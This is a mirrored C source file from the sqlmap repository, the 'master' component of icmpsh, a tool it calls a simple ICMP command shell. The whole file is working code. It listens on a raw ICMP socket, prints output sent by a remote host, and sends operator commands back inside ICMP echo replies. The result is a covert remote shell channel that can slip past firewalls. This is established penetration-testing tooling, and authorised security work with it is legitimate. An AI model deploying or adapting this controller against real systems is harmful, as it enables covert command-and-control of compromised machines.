mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-10-31 16:07:55 +03:00 
			
		
		
		
	
		
			
				
	
	
		
			135 lines
		
	
	
		
			3.9 KiB
		
	
	
	
		
			C
		
	
	
	
	
	
			
		
		
	
	
			135 lines
		
	
	
		
			3.9 KiB
		
	
	
	
		
			C
		
	
	
	
	
	
| /*
 | |
|  *   icmpsh - simple icmp command shell
 | |
|  *   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 | |
|  *   This program is free software: you can redistribute it and/or modify
 | |
|  *   it under the terms of the GNU General Public License as published by
 | |
|  *   the Free Software Foundation, either version 3 of the License, or
 | |
|  *   (at your option) any later version.
 | |
|  *
 | |
|  *    This program is distributed in the hope that it will be useful,
 | |
|  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 | |
|  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 | |
|  *    GNU General Public License for more details.
 | |
|  *
 | |
|  *    You should have received a copy of the GNU General Public License
 | |
|  *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 | |
|  */
 | |
| 
 | |
| #include <stdio.h>
 | |
| #include <stdlib.h>
 | |
| #include <sys/types.h>
 | |
| #include <sys/socket.h>
 | |
| #include <sys/stat.h>
 | |
| #include <netinet/in.h>
 | |
| #include <netinet/ip_icmp.h>
 | |
| #include <netinet/ip.h>
 | |
| #include <string.h>
 | |
| #include <unistd.h>
 | |
| #include <fcntl.h>
 | |
| 
 | |
| #define IN_BUF_SIZE   1024
 | |
| #define OUT_BUF_SIZE  64
 | |
| 
 | |
| // calculate checksum
 | |
| unsigned short checksum(unsigned short *ptr, int nbytes)
 | |
| {
 | |
|     unsigned long sum;
 | |
|     unsigned short oddbyte, rs;
 | |
| 
 | |
|     sum = 0;
 | |
|     while(nbytes > 1) {
 | |
|         sum += *ptr++;
 | |
|         nbytes -= 2;
 | |
|     }
 | |
| 
 | |
|     if(nbytes == 1) {
 | |
|         oddbyte = 0;
 | |
|         *((unsigned char *) &oddbyte) = *(u_char *)ptr;
 | |
|         sum += oddbyte;
 | |
|     }
 | |
| 
 | |
|     sum  = (sum >> 16) + (sum & 0xffff);
 | |
|     sum += (sum >> 16);
 | |
|     rs = ~sum;
 | |
|     return rs;
 | |
| }
 | |
| 
 | |
| int main(int argc, char **argv)
 | |
| {
 | |
|     int sockfd;
 | |
|     int flags;
 | |
|     char in_buf[IN_BUF_SIZE];
 | |
|     char out_buf[OUT_BUF_SIZE];
 | |
|     unsigned int out_size;
 | |
|     int nbytes;
 | |
|     struct iphdr *ip;
 | |
|     struct icmphdr *icmp;
 | |
|     char *data;
 | |
|     struct sockaddr_in addr;
 | |
| 
 | |
| 
 | |
|     printf("icmpsh - master\n");
 | |
|     
 | |
|     // create raw ICMP socket
 | |
|     sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
 | |
|     if (sockfd == -1) {
 | |
|        perror("socket");
 | |
|        return -1;
 | |
|     }
 | |
| 
 | |
|     // set stdin to non-blocking
 | |
|     flags = fcntl(0, F_GETFL, 0);
 | |
|     flags |= O_NONBLOCK;
 | |
|     fcntl(0, F_SETFL, flags);
 | |
| 
 | |
|     printf("running...\n");
 | |
|     while(1) {
 | |
| 
 | |
|         // read data from socket
 | |
|         memset(in_buf, 0x00, IN_BUF_SIZE);
 | |
|         nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
 | |
|         if (nbytes > 0) {
 | |
|             // get ip and icmp header and data part
 | |
|             ip = (struct iphdr *) in_buf;
 | |
|             if (nbytes > sizeof(struct iphdr)) {
 | |
|                 nbytes -= sizeof(struct iphdr);
 | |
|                 icmp = (struct icmphdr *) (ip + 1);
 | |
|                 if (nbytes > sizeof(struct icmphdr)) {
 | |
|                     nbytes -= sizeof(struct icmphdr);
 | |
|                     data = (char *) (icmp + 1);
 | |
|                     data[nbytes] = '\0';
 | |
|                     printf("%s", data);
 | |
|                     fflush(stdout);
 | |
|                 }
 | |
|                 
 | |
|                 // reuse headers
 | |
|                 icmp->type = 0;
 | |
|                 addr.sin_family = AF_INET;
 | |
|                 addr.sin_addr.s_addr = ip->saddr;
 | |
|         
 | |
|                 // read data from stdin
 | |
|                 nbytes = read(0, out_buf, OUT_BUF_SIZE);
 | |
|                 if (nbytes > -1) {
 | |
|                     memcpy((char *) (icmp + 1), out_buf, nbytes);
 | |
|                     out_size = nbytes;
 | |
|                 } else {
 | |
|                     out_size = 0;
 | |
|                 }
 | |
| 
 | |
|                 icmp->checksum = 0x00;
 | |
|                 icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
 | |
| 
 | |
|                 // send reply
 | |
|                 nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
 | |
|                 if (nbytes == -1) {
 | |
|                     perror("sendto");
 | |
|                     return -1;
 | |
|                 }        
 | |
|             }
 | |
|         }
 | |
|     }
 | |
| 
 | |
|     return 0;
 | |
| }
 | |
| 
 |